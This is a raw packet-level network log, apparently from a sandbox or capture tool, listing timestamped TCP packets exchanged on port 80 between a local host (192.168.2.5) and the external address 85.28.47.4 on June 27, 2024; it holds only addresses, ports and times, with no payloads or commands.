Jun 27, 2024 07:37:16.423754930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423764944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423774004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423774958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423784971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423794031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423804045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423804998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423814058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423825026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423835993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423856974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423873901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.424431086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.424442053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.424478054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.505844116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.505882978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.505894899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.505980015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.505981922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.505991936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506004095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506015062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506026983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506066084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506156921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506169081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506191969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506220102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506247044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506259918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506270885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506282091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506293058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506295919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506325006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506340027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506500006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506511927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506529093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506540060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506547928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506556034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506566048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506594896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506692886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506704092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506716013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506726027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506736994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506741047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506750107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506759882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506791115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.506974936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.506989002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507004976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507014990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507024050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507034063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507044077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507051945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507055044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507061005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507066965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507078886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507098913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507110119 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507111073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507122040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507141113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507163048 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507550001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507560015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507570982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507581949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507592916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507595062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507605076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507611990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507616043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507625103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507638931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507672071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507846117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507893085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507932901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507945061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507956028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507967949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.507982016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.507989883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508001089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508008957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508032084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508064032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508246899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508256912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508275032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508285999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508292913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508296967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508308887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508318901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508325100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508333921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508364916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508534908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508575916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508734941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508745909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508755922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508765936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508776903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508783102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508788109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508797884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508809090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508811951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508820057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508831024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508831024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508841991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508853912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508857012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508867025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508883953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508886099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508894920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.508903027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.508930922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509241104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509253025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509263992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509289980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509304047 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509366035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509377003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509387970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509398937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509406090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509413958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509419918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509427071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509438038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509449959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509450912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509459972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509466887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509470940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509501934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509526968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509922981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509934902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509944916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509959936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509968996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509969950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.509974957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509980917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.509993076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510024071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510183096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510194063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510205984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510226965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510241985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510335922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510348082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510360003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510376930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510380983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510387897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510389090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510400057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510410070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510416031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510423899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510433912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510442972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510445118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510454893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510462046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510468006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510478020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510479927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510489941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510500908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510505915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510516882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.510523081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510546923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.510571957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.511112928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.511120081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.511157036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.598949909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.598995924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599006891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599064112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599095106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599138975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599148989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599159956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599169016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599179983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599188089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599210024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599234104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599323988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599334002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599363089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599379063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599565029 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599575043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599586010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599596024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599605083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599606991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599616051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599625111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599630117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599639893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599648952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599658012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599663973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599668026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599678993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.599685907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599709988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.599724054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600111008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600123882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600133896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600143909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600153923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600155115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600166082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600172043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600172043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600187063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600198030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600200891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600243092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600435019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600452900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600477934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600503922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600604057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600615025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600625038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600635052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600645065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600645065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600658894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600661993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600671053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600676060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600680113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600684881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600684881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600701094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600711107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600720882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600720882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600732088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600740910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600742102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600752115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600761890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.600761890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600783110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.600806952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601537943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601550102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601562977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601573944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601583004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601584911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601593018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601602077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601610899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601614952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601619959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601641893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601651907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601653099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601661921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601674080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601674080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601686954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601696968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601702929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601705074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601715088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601726055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601733923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601735115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601744890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601754904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601758003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601764917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.601803064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.601834059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602483034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602494001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602509975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602519989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602530003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602535009 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602540970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602550983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602566004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602570057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602576017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602586985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602596998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602608919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602618933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602622032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602633953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602648020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602657080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602668047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602675915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602679014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602689981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602699041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602700949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602710962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.602724075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.602747917 CEST	49705	80	192.168.2.5	85.28.47.4
